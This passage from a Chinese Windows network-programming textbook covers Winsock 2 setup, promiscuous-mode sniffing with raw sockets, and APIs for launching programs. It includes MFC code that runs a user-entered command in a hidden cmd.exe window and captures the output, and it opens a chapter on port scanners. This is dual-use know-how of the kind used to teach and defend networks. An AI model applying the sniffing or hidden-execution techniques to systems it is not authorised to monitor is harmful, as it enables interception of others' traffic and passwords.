通常的网络Socket编程，直接使用CSocket就可以了，但是作为一些偏底层的编程，常常会用到一些不常用的API函数和一些API的非常规用法，这时，就要用到Socket2。使用Socket2就不像Socket1.1那么简单，不仅要在适当的位置加入头文件，还需要考虑到合适的静态链接库（win32 static LIBrary）。同时，要完全使用Socket2中的各项功能，有时仅仅安装了Microsoft Visual C++6.0(SP6)，即使是使用了“完全安装”，仍然会缺少一些头文件和库文件，这是因为其中很多头文件和库文件在"Microsoft Platform SDK"中，因此还需要安装"Microsoft Platform SDK"。

使用Socket2，需要在合适的头文件中，加入如下语句：



#include＜winsock2.h＞



有时，除了需要必要的头文件之外，还需要一些静态链接库，则这时有两种方式加载静态链接库，例如要使用头文件ws2tcpip.h和静态链接库ws2_32.lib文件，则首先在合适的位置加入头文件代码：



#include＜ws2tcpip.h＞



然后，一种方式是上面头文件之后加入如下语句：



#pragma comment(lib,"ws2_32.lib")



另一种方式是在Microsoft Visual C++的编译环境中加入，具体操作方式为，单击VC的"Project/Setting"菜单项，然后在弹出的"Project Settings"对话框中，选择"Link"选项卡，在"Object/library modules"项中输入ws2_32.lib，如图2.8所示。
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图　2.8　通过配置包含静态链接库

然后在系统初始化的时候，对Socket2进行初始化，初始化的代码如下：



WORD wVersionRequested;

WSADATA wsaData;

wVersionRequested=MAKEWORD(2,0);

int err=WSAStartup(wVersionRequested,＆wsaData);

if(err!=0)

{

MessageBox("当前系统，不支持Socket2的运行，但当前程序必须使用Socket2或以上。");

return;

}



2.2.8.3　CSocket和Socket2同时使用

在特殊情况下，要同时使用CSocket和Socket2，如果简单地将上述二者代码进行合并使用，会导致大量网络常量和结构重复定义。

要同时使用二者，并不难，只需要注意在包含头文件的时候，先包含winsock2.h，再包含afxsock.h。至于二者放的位置，可视情况而定，即可以放到Stdafx.h中，也可以放到使用二者的cpp或h文件中。如在用基于对话框的向导时，不要选择"Windows Sockets"，然后在创建好的工程中，打开主对话框源程序代码页，在cpp文件的最前端加上如下代码：



#include＜winsock2.h＞

#include＜afxsock＞



然后在OnInitDialog函数体，较前的部位加上如下代码：



if(!AfxSocketInit())

{

AfxMessageBox("Socket init error.");

return FALSE;

}

WORD wVersionRequested;

WSADATA wsaData;

wVersionRequested=MAKEWORD(2,0);

int err=WSAStartup(wVersionRequested,＆wsaData);

if(err!=0)

{

MessageBox("当前系统，不支持Socket2的运行，但当前程序必须使用Socket2或以上。");

return;

}



加上上述两部分代码，后面即可以同时使用CSocket和Socket2。


2.2.9　网卡的混杂模式

2.2.9.1　混杂模式简介

要接收网上的数据包有几种方法，一种方法是通过特定的函数打开本地一个端口，并主动给远端指定的端口发送数据，然后分析其返回的数据包；另一种方法是打开本地一个端口，并处于“监听”状态，然后等待远端主机的主动连接。无论上述哪种方法，都要打开本地端口，并且只能接收远端发向这个端口的数据。如果本地端口不指定，则该方法无法使用，因为不可能打开所有端口进行监听。并且如果某个端口被某个程序占用，则另一个则无法再使用这个端口，因此这种方法并不可行。

解决这一问题的方式是将网卡设为“混杂模式”（promiscuous mode），与混杂模式相对应的是“常规模式”。无论在混杂模式下，还是在常规模式下，网卡都会接到很多的数据包，这些数据包有些是发给该网卡的，有些不是发给该网卡的。当处于“常规模式”，网卡会自动过滤那些不是给网卡自己的数据包，而只让那些发给本网卡的数据通过。而在“混杂模式”下，所有的数据都不经过过滤而直接发送给操作系统内核进行处理。由于“混杂模式”会使本已没用的数据再进行更高一级的处理，增加了系统的负担，最终还是被高一级协议过滤掉或扔掉（不一定是全部被过滤掉，而是大部分被当做无用数据而不予处理），因此网卡默认的状态都是常规模式。

“混杂模式”的状态下，网卡会将所有自己接到的数据包全部不经过滤地直接给上一层进行处理，虽然在上一层的某一层中，这些本应被过滤掉的数据仍将被过滤掉或扔掉。因此，只要能将程序设定为某一合适的层中，就可以监听这些所有经过网卡的数据包，但同时不会对上层同样使用其中某些数据包的程序造成影响。也就是说这里要完成的只是“监听”，而不会“截止”、或“中断”这些来自网络的数据包，如图2.9所示。在实现上述功能时，只需要使用RAW Socket即可。RAW Socket技术细节参见第3章中3.4.2.3小节“TCP SYN扫描”使用RAW Socket判断对方的握手操作，第6章中6.6节“编程实例：快速多IP的ICMP扫描器”用RAW Socket接收ICMP数据包，第11章中11.4节“明文密码嗅探”和第12章中12.4节“基于嗅探的端口扫描监测及DDOS服务监测”利用RAW Socket作嗅探通过过滤数据包进行数据包的内容分析。

在图2.9中，“监听模式”是负责监听的程序在不干扰原有通信的前提下，只对数据进行监测，本书的嗅探方法正是基于这个原理。这种技术从网络安全角度来看，危害极大，很难防范。如第11章11.4节“明文密码嗅探”可用于监听网络上传输的明文密码。
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图　2.9　网络中常见的几种监测模式

“转发模式”是通过拦截发送端的数据实现数据的中断，然后再通过转发，将数据转发给接收端。之所以要中转一下，一般有多种原因。如“发送端”与“接收端”无法直接通信，这种应用如代理服务器；再如“发送端”唯一，而“接收端”有多个，则转发端还需要有一个判断数据流向哪个“接收端”的功能，这种应用如交换机。这种技术从网络安全角度来看，通常用于IP欺骗。

“过滤模式”与“转发模式”很像，所不同的是过滤模式并不是无条件转发，而是在转发之前对要转发的数据进行过滤，符合一定条件的才转发，否则就不转发。这种应用会使“接收端”接收不到应有数量的数据。

“截止模式”很简单，就是无条件地拦截由“发送端”给“接收端”的数据。

2.2.9.2　混杂模式的意义

参阅过很多的文章，在描述“混杂模式”的作用时，很多人将其最大的功能描述为能接收所有发送至该网卡的IP数据包，这种说法并没有错，特别是在早期的集线器时代。但到了交换机的时代，这种现象并不常见。图2.10描述了集线器与交换机工作模式的对比。
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图　2.10　集线器与交换机模式

在集线器模式下，源主机“主机2”要向目标主机“主机3”发送数据，当数据到达集线器后，集线器会向除了源主机“主机2”本身之外的所有主机发送数据，即除了源主机“主机2”之外的所有主机都可以收到“主机2”所发的数据。目标主机“主机3”判断到该数据是给自己的，就进行处理；其余主机判断到所发的数据是给“主机3”的，而不是给自己的，就不进行处理。该模式下，硬件设计简单、速度快，并且对主机的开机（新主机加入）和关机（当前在线主机的离开）都具有很好的适应性，只要发送的时候，目标主机在线，就可以马上进入工作状态。但缺点是该模式对冲突的解决是非常麻烦的，例如，当“主机2”向某一台主机发送数据的期间，“主机4”也再向另一台主机发送数据，则二者的数据会出现冲突，这种冲突会导致二主机所发的数据全部出错。解决办法就是二者各“等”一会儿再重发，但再重发并不能避免产生新的冲突。这种现象在频繁数据交换的时候，冲突的现象非常明显，会大大减低网络带宽，现在这种模式已被交换机模式所代替。

在交换机模式下，源主机“主机2”要向目标主机“主机3”发送数据，当数据到达交换机后，交换机会分析目标主机“主机3”所在的端口，然后只向该端口发送数据，这样，其余主机就接不到由源主机“主机2”所发出来的。这样，使得别的主机就不需要处理不属于自己的数据，从而减少了负荷，而且如果此前“主机5”要向“主机1”发送数据时，就不会出现冲突。在该模式下，由于有效地减少了“冲突”的可能，所以整个带宽的利用率大大提高，并且各个主机也减少了处理不属于自己数据包的工作。但这样做也有一些缺点，比如新主机的加入和当前在线主机的离开，通常都需要交换机花费一定时间来判断新的变化。当前绝大多数以太网所使用的都是交换机模式。

通过上面的分析，不难看出，当前以交换机作为交换设备的网络中，即使是将某一个网卡设置成“混杂模式”，除非使用一些特殊技术，网卡本身一般是接不到不是发送给自身的数据，所接到的只是给本身IP的数据和广播数据，但这时RAW Socket可以监听所有的数据了。这点与“常规模式”不同。


2.3　嵌入外部程序

在编程中，难免会遇到有时所要做的程序功能，别人早已做出来了，而自己目前却感觉无所下手。这时，在不涉及版权和使用权的前提下，直接调用对方的程序，然后读取其结果也不失为一个好的办法。当然，这种方法看似有效，其中还有很多细节要处理，比如大部分程序并不向外界提供调用的接口，即使提供了，也不会公开，这种程序本身就是一个封闭的系统，除了在显示器上将结果显示出来之外，根本就不提供对外接口，这时就需要一些编程技巧。


 2.3.1　可执行外部程序的几个函数

要想执行一个命令或将某一个程序作为一个命令运行，有几种方法，下面分别说明。

2.3.1.1　调用system函数

早在C语言的版本中，就提供了system函数，该函数可以调用操作系统的内部命令（嵌入在操作系统的命令）、外部命令（以可执行文件的方式存在的操作系统命令）和程序文件（以可执行文件的方式存在的非操作系统程序）。在VC++中，虽然不建议使用该函数，但该函数仍然得到了支持，该函数的原型是：



int system(const char*command);



system函数在执行时会自动打开一个DOS命令提示符的窗口，在窗口中执行该命令，并将命令结果显示在DOS窗口中。

返回值：如果command为NULL，如果系统有命令解释器，则返回一个非0值；如果没有命令解释器，则返回0，并且设置系统errno变量为ENOENT。如果command为非NULL，系统会返回命令解释器（在Windows 98以前的操作系统，命令解释器是command.com文件，Windows 2000/XP及以后的操作系统命令解释器为cmd.exe文件）的返回值，如果命令运行正常情况下，命令解释器会返回0；否则返回-1，并设置系统errno变量为下面的值：
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系统变量errno是一个操作系统级的变量，表示的是此前最后一次系统调用时返回值，相当于在VC中使用的GetLastError函数。在VC的使用中，不需要声明此变量，可以直接使用。

参数：command是一个字符串指针，该指针指向的地址中可以保存任何一个合法的DOS命令串，该命令串的格式、个数等属性取决于该DOS命令本身的要求。

2.3.1.2　调用WinExec函数

比起system函数，WinExec函数有了一定的进步，WinExec函数同样是将命令串在DOS窗口中执行，但用户可以选择该DOS窗口是否显示。同时该命令主要是完成对可执行文件的调用执行操作，要调用内部命令一般不用此命令。WinExec函数的原型如下：



UINT WinExec(

LPCSTR lpCmdLine,

UINT uCmdShow

);



需要说明的是，该命令的执行时间取决于命令本身的执行时间，如果命令执行需要很长时间，则程序表面看上去会像“死掉”状态，为了避免这种情况，可以在其他线程中调用GetMessage函数使之停止。

返回值：如果调用成功，返回一个大于31的值。如果失败，则返回下列可能的值：
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参数如下：

❑lpCmdLine：是一个字符串指针，该指针指向的地址中可以保存任何一个非NULL的合法的DOS命令串，该命令串的格式、个数等属性取决于该DOS命令本身的要求。如果文件名中没有包含路径，则该函数会按如下顺序找：

1）首先在调用本函数的母程序所在的目录中找；

2）在当前目录中找；

3）在Windows系统目录中找，可以调用GetSystemDirectory函数获得系统目录；

4）在Windows目录中找，可以调用GetWindowsDirectory函数获得Windows目录；

5）在系统PATH变量所指向的各个目录中找。

以上查找步骤中，如果找到，则执行，并不再继续下一步的查找。如果所有路径均未找到，则返回文件没找到的错误。

❑uCmdShow：DOS命令提示符窗口所显示方式。该值较多地依赖于所运行的命令本身对窗口的要求，并且受DOS窗口本身对显示方式的限制。一般来说主要有如下几种：
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2.3.1.3　调用ShellExecute函数和ShellExecuteEx函数

system函数和WinExec函数都是在早期16位操作系统中使用的，虽然在VC中都可以使用，但对于Windows 2000/XP及以后操作系统，最好使用ShellExecute函数。该函数的原型为：



HINSTANCE ShellExecute(

HWND hwnd,

LPCTSTR lpVerb,

LPCTSTR lpFile,

LPCTSTR lpParameters,

LPCTSTR lpDirectory,

INT nShowCmd

);



该函数的作用主要是执行可执行文件，一般不宜用作内部命令的调用。

返回值：如果调用成功，返回一个大于32的值。如果失败，则返回下列可能的值：

[image: ]


[image: ]


参数如下：

❑hwnd：父窗口的句柄，如果调用程序想获得该函数执行后的结果，则可以将接收结果的线程句柄填入，如果不需要，则可以设置为NULL。

❑lpVerb：一个字符串指针，指向一个动作的字符串，可以为以下值之一：
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❑lpFile：指定一个文件或目录串的指针。

❑lpParameters：如果lpFile中指向的是可执行文件，并且该文件有命令行参数，则可以通过该指针指向保存参数的缓冲区中。

❑lpDirectory：可执行文件所在的目录，如果是默认目录，则可以为NULL。

❑nShowCmd：窗口的显示方式，有如下方式：

[image: ]


ShellExecuteEx功能只有一个参数，该参数一个复杂的结构，这里不再详述。

2.3.1.4　调用CreateProcess函数

和ShellExecute函数作用差不多的一个函数是CreateProcess函数，CreateProcess函数的原型是：



BOOL CreateProcess(

LPCTSTR lpApplicationName,

LPTSTR lpCommandLine,

LPSECURITY_ATTRIBUTES lpProcessAttributes,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

BOOL bInheritHandles,

DWORD dwCreationFlags,

LPVOID lpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO lpStartupInfo,

LPPROCESS_INFORMATION lpProcessInformation

);



返回值：若函数调用成功，则返回值不为0；若函数调用失败，返回值为0。

参数如下：

❑lpApplicationName：指向一个以空结尾的串，它指定了要执行的模块。

❑lpCommandLine：指向一个以空结尾的串，该串定义了要执行的命令行。

❑lpProcessAttributes：指向一个SECURITY_ATTRIBUTES结构，该结构决定了返回的句柄是否可被子进程继承。

❑lpThreadAttributes：指向一个SECURITY_ATTRIBUTES结构，该结构决定了返回的句柄是否可被子进程继承。

❑bInheritHandles：表明新进程是否从调用进程继承句柄。

❑dwCreationFlags：定义控制优先类和进程创建的附加标志。

❑lpEnvironment：指向一个新进程的环境块。

❑lpCurrentDirectory：指向一个以空结尾的串，该串定义了子进程的当前驱动器和当前目录。

❑lpStartupInfo：指向一个STARTUPINFO结构，该结构定义了新进程的主窗口将如何显示。该结构详见后面说明。

❑lpProcessInformation：指向PROCESS_INFORMATION结构，该结构接受关于新进程的表示信息。

在上述参数中，参数lpStartupInfo是STARTUPINFO结构，该结构的描述如下：



typedef struct_STARTUPINFO{

DWORD cb;//STARTUPINFO结构的大小，以字节为单位

LPTSTR lpReserved;//保留

LPTSTR lpDesktop;//桌面的名称

LPTSTR lpTitle;//DOS窗口的标题

DWORD dwX;//左上角X

DWORD dwY;//左上角Y

DWORD dwXSize;//宽度

DWORD dwYSize;//高度

DWORD dwXCountChars;//一般不用

DWORD dwYCountChars;//一般不用

DWORD dwFillAttribute;//填充颜色属性

DWORD dwFlags;//设定本结构中哪些参数是有效的

WORD wShowWindow;//新进程创建时窗口的显示状态，如SW_HIDE表示要显示

WORD cbReserved2;//保留

LPBYTE lpReserved2;//保留

HANDLE hStdInput;//标准输入设备的句柄

HANDLE hStdOutput;//标准输出设备的句柄

HANDLE hStdError;//标准错误输出的句柄

}STARTUPINFO,*LPSTARTUPINFO;



该结构可以用来设置控制台的标题、新窗口的初始大小和位置，及重定向标准输入和输出。新程序通常可以忽略多数这些数据项，如果选择那样做的话。可以规定该结构体中的标志，已表明要设置的数据段。有时，不想设置任何信息，也必须传递一个有效的指针给空结构。参数lpProcessInformation返回进程和线程句柄，还包括进程和线程ID。这些句柄拥有在参数lpProcessAttributes和lpThreadAttributes中规定的访问。

要注意，针对CreateProcess的一些参数对控制台应用程序是特定的，而其他参数则对各种应用程序有用。大多数情况下，并不一定要填入STARTUPINFO结构，但无论如何必须提供它。其返回值是布尔型的，而真正感兴趣的返回值发生于作为参数传送的结构中。CreateProcess返回该结构中的进程ID及其句柄，以及初始线程ID及其句柄。可以将ID发送到其他进程，或使用句柄来控制新进程。一个简单的处理办法就是调用GetStartupInfo函数，该函数只有一个参数，是一个指向STARTUPINFO结构的指针：



VOID GetStartupInfo(LPSTARTUPINFO lpStartupInfo);



该函数用来取得当前进程的StartupInfo结构，有了当前进程的默认值，对于子进程，只需要修改要改的项即可。


2.3.2　编程实例：使用重定向接收外部程序运行结果

上述的几种函数，都可以做到在程序中调用外部可执行文件，有些还可以简单地获得函数执行结束后，退出时返回码。这在用户不太注重界面的环境中是可以使用的，因为虽然是一个DOS命令提示符的窗口，同样给用户显示了整个可执行文件运行过程中产生的中间结果。但在大多数情况下，这种显示方式是令人不满意的，甚至是不行的。比如，要将中间过程的显示作为另一种输入或将整个过程的中间结果显示到用户指定的界面中。

要解决将中间过程中产生的显示信息显示到指定位置，或在产生过程中实时读取的问题，通常有两种解决方式，即“重定向”和“管道操作”。

2.3.2.1　重定向技术

重定向，顾名思义，就是将原本设定的数据源重新设定为另一个数据源，或将原本要将数据输出到某个目的地，重新设定到另一个目的地。例如，早期的DOS操作系统是非图形的文本界面，在这个界面下，默认的输入设备是键盘，默认的输出设备是显示器。当用户想看一下当前目录下的文件列表，则他会通过默认的输入设备“键盘”输入"dir"命令，然后回车后，DOS操作系统会读取当前目录下的文件列表，并将该列表输出到默认的输出设备“显示器”上，但如果人为地改变默认的输出设备为打印机，则输入的结果不再在显示器上显示，而是直接打印出来。

可重定向的设备详见表2.1。
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重定向的符号有两个，一个是重定向“输入设备”的，用半角“＜”表示；一个是重定向“输出设备”的，用半角符号“＞”表示。除此之外，如果重定向的设备选为文件名，则还可以用半角符号“＞＞”来表示，该符号表示追加。

如在命令提示符的状态下输入："dir＞a.txt"，dir命令的作用是列出当前目录下的文件列表输出到显示器上，但由于使用了重定向，并且将输出内容重定向到a.txt文件，所以此时可以看到dir命令执行结束后，当前目录下的文件列表被保存到了a.txt文件中。

同样，有些程序或命令在运行后需要用户输入一些参数进行交互性的操作，例如，DOS下的"time"命令可以在显示当前时间的同时，让用户输入新的时间以更改时间。如果用户只是想看当前时间，而不是修改当前时间，只需要再回车一下即可。对于这样的交互同样可以使用重定向，首先建立一个文本文件rt.txt，其文件的内容只有一个回车。然后在命令提示符的状态下输入"time＜rt.txt"，默认情况下，该命令除了显示当前时间之外，还会显示一个时间修改的提示符等待新时间（用户的键盘输入），但由于采用了重定功能，所以此时系统不再等待键盘的输入，而改由从rt.txt文件中读到内容作为输入，由于rt.txt文件中是一个回车命令，则该回车命令将代替键盘的输入，从而用户不再需要回车，而直接正常结束了time命令本身。

重定向符号“＞”与“＞＞”的区别在于，每次重定向时，如果重定向的文件存在，则前者会将内容清空，然后将重定向内容填入文件中；而后者则是在保存原有内容的前提下，将重定向的内容追加到文件的尾部。

重定向的输入和输出还可以同时使用。例如本地FTP服务器上有A.rar和B.doc两个文件（关于FTP服务器的设备和操作，详见7.3节“FTP服务扫描”），在命令行操作符（以下简称“DOS命令行”）下输入"ftp-A 127.0.0.1"即可匿名登录本地FTP服务器。登录成功后，如果在“FTP的命令行”（注意这时不再是DOS的命令行，而是FTP服务器的命令行）中输入"ls"命令，则会显示出A.rar文件和B.doc文件，再在FTP的命令行中输入"bye"命令可退出FTP的命令行，而返回到DOS的命令行。这里的"ls"命令和"bye"命令都是FTP服务器本身的命令，因此可以用重定向操作。比如建立一个文本文件"doscmd.txt"，并在该文本文件的内容录入为：



ls

bye



在DOS命令行中输入"ftp-A 127.0.0.1＜doscmd.txt＞dosprompt.txt",则DOS首先会执行"ftp-A 127.0.0.1"命令。在该命令执行中需要用户从键盘输入时，由于采用了输入重定向，系统会自动到"doscmd.txt"文件中查找输入的内容；同时对操作的结果本应输出到屏幕上，但由于采用了输出重定向到文件，所以输出的内容全部都写入到了dosprompt.txt文件中。

下面以实例说明如何使用重定向功能，该程序执行一个DOS命令，该命令可以是一个DOS的内部命令，也可以是一个可执行文件，无论是哪一种都将输出结果重定向到一个临时文件（文件名是：Redirect.txt）中，然后将该文件的内容显示出来。考虑到文件本身只是一个中间过程，所以在显示后将临时文件删除掉。

2.3.2.2　程序主界面

根据上述分析，可以做出一个界面，如图2.11所示。
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图　2.11　重定向主界面

主界面根据分组的方式分为上下两部分，上部分“DOS命令或可执行文件”是要执行的DOS命令，下部分“命令执行结果”显示了命令的执行结果。在“DOS命令或可执行文件”中输入要执行的命令，单击“执行命令”按钮，系统就会执行所输入的命令，然后将结果显示到“命令执行结果”中。

2.3.2.3　程序原理

既然重定向可以把一个命令的执行结果生成到一个磁盘文件中，那么在程序中显示结果，当然就是把磁盘文件显示出来就可以了。不过，这个看似简单的原理，在编程实现的时候还要有很多麻烦。比如要执行的命令有长有短，如dir命令通常1秒内就可以执行完，而ping一台主机则需要几秒，而程序并不是执行完命令后才返回的，而是调用后马上就返回了，因此程序在调用后，需要等待一定时间，再读取生成的文件。如果在命令还没结束之前就读重定向所生成的文件，则会报错或是读成了上一次命令时所保存的中间文件，为了避免后者，需要在每次显示完命令结果后，删掉临时生成的文件。

2.3.2.4　程序代码

要实现上述功能，按照如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为Redirect。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码

该程序相对比较简单，除了上面的设置之外，其余只要处理单击“执行命令”按钮后的操作。整个函数主要完成三个步骤：首先，创建一个进程，该进程完成指定的DOS命令，同时将命令的执行结果重定向到一个指定的文件中；随后，打开文件将内容显示到指定的文本框中；最后，将生成的文件删除。



#define MAXREADBUFFLEN(60*1000)

void CRedirectDlg::OnBUTTONRun()

{

//单击“执行命令”按钮后要执行的操作

UpdateData(TRUE);

//根据用户输入的命令串，生成重定向命令

CString strCommand,strFilename="Redirect.txt";

m_strCommand.TrimRight("");

if(m_strCommand=="")

return;

strCommand.Format("cmd.exe/c\"%s\"＞%s",m_strCommand,strFilename);

//创建一个不要出现DOS窗口的、隐藏的命令执行线程

STARTUPINFO si;

ZeroMemory(＆si,sizeof(si));

si.cb=sizeof(STARTUPINFO);

si.wShowWindow=SW_HIDE;//隐藏的窗口

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

PROCESS_INFORMATION pi;

BOOL res=CreateProcess(NULL,strCommand.GetBuffer(0),NULL,NULL,NULL,

NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW,NULL,NULL,＆si,＆pi);

if(!res)

{

MessageBox("创建线程出错。");

return;

}

//等待进程执行完毕

WaitForSingleObject(pi.hProcess,INFINITE);

//如果打开文件失败，则有可能文件仍在使用中，可以多次读取

char buff[MAXREADBUFFLEN]={0};

BOOL bSuccess=FALSE;

try

{

CFile file;

if(file.Open(strFilename,CFile::modeReadWrite,NULL))

{

file.Read((char*)buff,MAXREADBUFFLEN);

file.Close();

bSuccess=TRUE;

}

}

catch(CFileException e)

{

//e.m_cause;

Sleep(1000);

}

//如果打开文件成功，则删除临时文件，并显示出结果

if(bSuccess)

{

DeleteFile(strFilename);

m_strResult.Format("%s",(char*)buff);}

else

MessageBox("程序执行出错。","出错提示");

UpdateData(FALSE);

}




2.3.3　编程实例：使用管道接收外部程序运行结果

2.3.3.1　管道技术

管道（pipe）技术是将某一个设备的输出，通过“管道”作为另一个设备的输入。从原理上讲，重定向技术与管道技术很相似，前者将某一设备的输出由默认输出设备改为另一个指定的输出设备上；后者将一个设备的输出作为另一个设备的输入。（本章前面2.1.4节“命名管道和邮槽高层编程”中提到命名管道技术，是本处管道技术的一个特例。）

管道需要有一个输出端和一个输入端，同重定向一样，二者既可以是设备，也可以是文件，甚至是操作系统提供的内部命令。在DOS命令行中，管道的符号是半角“|”符号，例如在DOS命令提示符中，输入"dir"会将当前目录下的文件列表显示于屏幕上，但如果输入"dir|more"则表示将列表通过管道发送到more命令中，而more命令除了将内容显示在显示器上之外，还要将显示的内容进行分页，当显示的内容超过一页时，只显示当前页，当用户按下空格键后，显示下一页，如此往复，直到全部显示完。

创建匿名管道的函数为CreatePipe函数，如下所示：



BOOL CreatePipe(

PHANDLE hReadPipe,//读句柄的指针

PHANDLE hWritePipe,//写句柄的指针

LPSECURITY_ATTRIBUTES lpPipeAttributes,//安全属性结构的指针

DWORD nSize//管道的大小

);



CreatePipe可以创建一个管道，并指定管道的长度，该管道创建完毕后，可以通过ReadFile和WriteFile等函数进行读写操作。在用ReadFile函数读的时候，只有当另一个进程或线程写满了管道，ReadFile函数才会返回真，并且返回读到的字节数；否则返回错误。在用WriteFile函数到管道中，如果管道缓冲区不满，则写操作不会结束；如果所有字节写完之前，管道已满，则WriteFile函数无法返回，直到另一个进程或线程使用ReadFile读取管道中的内容后，使空间可以使用后，WriteFile才能继续写入剩下的字节。

返回值：如果功能调用成功，则返回一个非0值；否则返回0，并可通过GetLastError函数读取进一步的错误解释。

参数如下：

❑hReadPipe：指向一个接收读句柄的指针。

❑hWritePipe：指向一个接收写句柄的指针。

❑lpPipeAttributes：指向一个SECURITY_ATTRIBUTES结构的指针。所指向的结构可以决定其子进程能从本身继承的权限，如果该指针为NULL，则表示子进程无法继承任何权限。

❑nSize：表示管道缓冲区长度，以字节为单。如果该值为0，则由系统决定其长度。

在该参数中，有一个SECURITY_ATTRIBUTE结构，该结构用于子进程的权限继承问题：



typedef struct_SECURITY_ATTRIBUTES{

DWORD nLength;

LPVOID lpSecurityDescriptor;

BOOL bInheritHandle;

}SECURITY_ATTRIBUTES,*PSECURITY_ATTRIBUTES;



结构成员如下：

❑nLength：表示以字节为单位的结构长度。在Windows NT/2000中，有些功能在使用本结构的时候，并不验证nLength值，所以应该程序在调用时准确地设置其长度。

❑lpSecurityDescriptor：指向一个安全描述的指针。如果指向的值为NULL，则表示使用默认的安全描述。在Windows 95/98中该项被忽略。

❑bInheritHandle：指出了安全描述的对象能否被新创建的子进程继承，如果为TRUE则表示可以继承；FALSE表示不能继承。

下面以实例说明如何使用管道功能，该程序执行一个DOS命令，该命令可以是一个DOS的内部命令，也可以是一个可执行文件，无论是哪一种都将输出结果通过管道输入到一个文本框中。

2.3.3.2　程序主界面

根据上述分析，可以做一个界面，如图2.12所示。
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图　2.12　管道主界面

在图2.12中，输入dir命令后，单击“执行命令”按钮，系统就会执行所输入的命令，然后将执行命令的结果通过管道传送到另一线程中，后者把结果显示到“命令执行结果”窗口中。与图2.11的重定向相比，无论是该程序的界面，还是执行效果，二者是一样的，但二者所采用的技术不同。

2.3.3.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为Pipe，然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码

该程序相对比较简单，除了上面的设置之外，其余只要处理单击“执行命令”按钮后的操作。与重定向不同的是，管道只需要两个步骤，首先是创建一个进程，该进程完成指定的DOS命令，随后就是将命令的执行结果通过管道直接显示到指定的文本框中：



void CPipeDlg::OnBUTTONRun()

{

//单击“执行命令”按钮后的操作

UpdateData(TRUE);

//创建一个管道，用于接收命令执行结果

SECURITY_ATTRIBUTES sa;

ZeroMemory(＆sa,sizeof(sa));

sa.nLength=sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor=NULL;

sa.bInheritHandle=TRUE;

HANDLE hRead,hWrite;

if(!CreatePipe(＆hRead,＆hWrite,＆sa,0))

{

MessageBox("创建管道出错。");

return;

}

//创建一个没有DOS命令框的、隐藏窗口的进程来执行用户输入的命令

STARTUPINFO si;

ZeroMemory(＆si,sizeof(si));

si.cb=sizeof(STARTUPINFO);

GetStartupInfo(＆si);

si.hStdError=hWrite;//将错误也重定向到管道中

si.hStdOutput=hWrite;//将输出重定向到管道中

si.wShowWindow=SW_HIDE;//隐藏的窗口

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

PROCESS_INFORMATION pi;

CString strCommand;

strCommand.Format("cmd.exe/c%s",m_strCommand);

BOOL res=CreateProcess(NULL,strCommand.GetBuffer(0),

NULL,NULL,TRUE,NULL,NULL,NULL,＆si,＆pi);

if(!res)

{

MessageBox("创建线程出错。");

return;

}

CloseHandle(hWrite);//结束后，关闭管道写句柄，不再写入

//从管道中读取已写入的数据，并显示出来

CString strTemp;

char cBuff[4096]={0};

DWORD dwRead=0;

m_strResult="";

while(true)

{

if(!ReadFile(hRead,cBuff,4095,＆dwRead,NULL))

break;

cBuff[dwRead]='\0';

strTemp.Format("%s",cBuff);

m_strResult+=strTemp;

}

UpdateData(FALSE);

}




第3章　TCP/UDP端口扫描器的设计

端口扫描，顾名思义，就是对目标主机的端口依次进行连接，对于能进行数据通信的，则认为是“开”状态，否则认为是“关”状态。由于绝大部分公用服务与端口有对应关系，因此通过端口的“开”与“关”状态，可以初步判断对方是否提供某一类服务，为下一步的操作提供参考。

端口是一个传输层的概念，因此端口扫描也仅限于在传输层上进行，传输层一般将协议分为TCP协议和UDP协议，所以端口扫描也根据扫描所采用的类型可以分为TCP端口扫描、UDP端口扫描两大类。端口扫描器是最早、最普遍的扫描器之一，所以对端口扫描的研究也是最早、最多和最广泛的，特别是对于TCP扫描，黑客和广大编程爱好者设计出很多高效的算法，但与此同时，操作系统的设计者和防火墙的设计者也针对这些算法进行优化。可以说对端口的扫描监测和预防，也是判断防火墙优劣的一项重要指标。

端口扫描并不是每台主机都会安装，更多时候，用户是在某一刻只是想检测一下某机器有限的端口的状态，这个时候如果再去查找、下载、安装、配置、运行某专门的工具，无疑是事倍功半，这时最好的办法就是利用操作系统提供的内部命令，通过手工的方式进行扫描。这种手工扫描简单、便捷、易行，不失为特定环境下一种可取的好办法。

端口扫描与其说是一种攻击方法，不如说是一种检测方法，因为通过端口扫描，即使是知道对方哪些端口是开的，也不意味着对方就一定提供了这些端口对应的服务，更谈不上能查出有什么漏洞。但黑客正是用端口扫描预测一台主机上都提供了哪些服务，如果所提供的这些服务存在漏洞，黑客就会利用这些漏洞对系统进行攻击。而事实上，即使没有什么漏洞可找，仅就扫描所得的信息，就已能给黑客提供大量的重要信息，因此端口扫描往往作为黑客攻击某一网站的第一步。所以，作为一个网管完全有必要对端口进行详细地了解，并利用端口扫描技术扫描出系统的开放端口，对于没实质性作用的端口要关闭，对于必须开放的端口则尽可能地安装其漏洞补丁程序。


 3.1　端口扫描的概念


 3.1.1　端口的概念

在第1章的1.2.1节“服务和端口”中，详细地介绍了服务器和主机之间的区别，即二者之间没有一个一一对应关系。主机是一个硬件的概念，是一台物理设备，而服务器是指一组软件系统，一台主机上可以装多个服务器软件以同时提供多种服务；而某一个服务也可以由几台计算机通过软件进行捆绑后实现。

为了区分这些服务，Berkeley套接字的约定引入了引入“端口”这个概念，要求每一个服务使用一个或多个端口向外界提供服务。为了让这些服务在端口的使用上尽量避免冲突，因此又将这65536个端口进行了分类，表3.1中列出了端口分布及其意义。
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除此之外，Berkeley套接字还对“熟知端口”中绝大多数端口定义了其具体意义，表3.2中列出了扫描器常用到的端口及其意义。需要说明的是，各熟知端口的意义只是给操作系统、服务类程序的一种建议，没有强制性，也没有任何检验措施。
